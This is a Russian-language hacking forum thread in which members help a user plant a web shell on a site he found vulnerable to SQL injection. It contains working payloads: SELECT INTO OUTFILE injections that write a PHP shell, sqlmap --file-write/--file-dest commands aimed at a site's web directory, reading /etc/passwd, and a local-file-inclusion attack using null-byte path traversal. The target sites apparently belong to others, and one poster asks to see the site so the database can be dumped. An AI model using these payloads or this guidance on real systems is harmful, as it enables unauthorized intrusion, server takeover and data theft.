PDA

Просмотр полной версии : Помогите с заливкой шелла.


RWD
14.09.2013, 17:21
Добрый день.

Есть сайт с ошибкой

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in var\www\core\mods\groups\deletegroup.php on line 20

Как залить шелл, есть пути и file priv Y ?

CURRENT USER -ROOT

VY_CMa
14.09.2013, 17:29
Основные способы:

1) Использовать юзер-функции

2) INTO [DUMPFILE|OUTFILE]

qaz
14.09.2013, 19:40
PHP:
select '' into outfile 'полный путь к папкам/shell.php'

Империал
14.09.2013, 20:26
Ты сайт выложи сюда

RWD
14.09.2013, 22:36
Вообщем смог раскрутить через sqlmap, есть доступ к базе, насчет прав - пишет root@localhost. права на чтение и запись есть.функция load_file работает, получилось получить файл "/etc/passwd

Ну вот пытаюсь залить через sqlmap командой --file-write="C:\путь\тут php файл " --file-dest="путь"

выдает мне такое http://www.uppic.org/image-290A_52349E6D.jpg

qaz
14.09.2013, 22:54
на папке прав на запись в папке, ищи другую

RWD
14.09.2013, 23:14
qaz said:
на папке прав на запись в папке, ищи другую


Да вот странно имею такие привилегии http://www.uppic.org/image-49B6_5234A73E.jpg

А залить даже в temp не могу

qaz
14.09.2013, 23:27
RWD said:
Да вот странно имею такие привилегии
А залить даже в temp не могу


какие такие? у тебя рут права только в майскул, в фс они отношения не имеют

Konqi
14.09.2013, 23:35
может знаний не хватает? раз софтом пытаешься шелл залить..

хватит флудить, есть статья от нолика, начни оттуда,а эта тема обсуждалась тут со времен динозавров.

Империал
14.09.2013, 23:43
ТС, можешь сделать дамп БД?

И что за сайт то?

m00c0w
15.09.2013, 01:19
база на том же сервере? файлы читать можешь? Прочитай хотябы тот файл где ошибку показывает. Ну или конфиг апач\нжнкс \ етк посомтри, или hosts

Если все ок, ищи диру под запись.

RWD
15.09.2013, 02:41
m00c0w said:
база на том же сервере? файлы читать можешь? Прочитай хотябы тот файл где ошибку показывает. Ну или конфиг апач\нжнкс \ етк посомтри, или hosts
Если все ок, ищи диру под запись.


Файлы читаются. Файл с ошибкой читается.

Sat-hacker
15.09.2013, 03:25
RWD said:
Ну вот пытаюсь залить через sqlmap командой --file-write="C:\путь\тут php файл " --file-dest="путь"


--file-write="C:\путь\тут php файл "

Что за путь здесь нужно указывать?

--file-dest="путь" здесь я так понял путь к файлам сайта

m00c0w
15.09.2013, 04:31
RWD said:
Файлы читаются. Файл с ошибкой читается.


Ручками залей уже

vuln=1 limit 1 into outfile '/PathToShell/filename.php' lines terminated by ""--+

или

vuln=1 limit 1 into outfile ''/PathToShell/filename.php' fields terminated by '' optionally enclosed by ""--+​

2 Sat-hacker

вобщемта тут и понимать нечего -hh опция все покажет.

--file-write=WFILE Write a local file on the back-end DBMS file system

--file-dest=DFILE Back-end DBMS absolute filepath to write to

psihoz26
15.09.2013, 18:34
решил попробовать заюзать lfi найденный не так давно на неком сайте

оказалось что картинки подгрузить нельзя а другими путями я ниразу не ходил

есть доступ к phpinfo и php.ini

подскажите хороший мануал =(

nikp
15.09.2013, 19:06
psihoz26 said:
решил попробовать заюзать lfi найденный не так давно на неком сайте
оказалось что картинки подгрузить нельзя а другими путями я ниразу не ходил
есть доступ к phpinfo и php.ini
подскажите хороший мануал =(


Классика https://rdot.org/forum/showthread.php?t=1134&highlight=phpinfo

psihoz26
15.09.2013, 19:37
заюзал скрипт и при инклуде у меня пустая страничка

perl lfi.pl httр//site.com/i.php httр://www.site.com/index.php?page=../../../../../../../../../../../../../../etc/passwd%00

как только скрипт выполняется я копирую имя файла tmp/******

и инклужу

http://www.site.com/index.php?page=../../../../../../../../../../../../../../tmp/******%00

что может быть не так?? в скрипте ничего менять не надо??

Sat-hacker
15.09.2013, 22:15
m00c0w said:
Ручками залей уже
vuln=1 limit 1 into outfile '/PathToShell/filename.php' lines terminated by ""--+
или
vuln=1 limit 1 into outfile ''/PathToShell/filename.php' fields terminated by '' optionally enclosed by ""--+​
2 Sat-hacker
вобщемта тут и понимать нечего -hh опция все покажет.
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to


Я это читал но не могу вкурить,обьясните если можна

RWD
17.09.2013, 01:09
Sat-hacker said:
Я это читал но не могу вкурить,обьясните если можна


В sqlmap --file-write="C:\shell.php" sqlmap берет шелл куда ты его положил на своем жд, --file-dest="/var/www/html/site.com" это куда sqlmap будет копировать файл шелла на сервере, при условии что есть права на запись файла.

К примеру так.

python sqlmap.py -u "http://dcsdcsdcds.com/index.php?id=12

--random-agent --file-write="C:\sqlmap\shell.php" --file-dest="var/www/html/dcsdcsdcds.com/images/"

m00c0w
17.09.2013, 03:08
товарищи, кто нибудь использует сокращение команд? -z. Удобно же.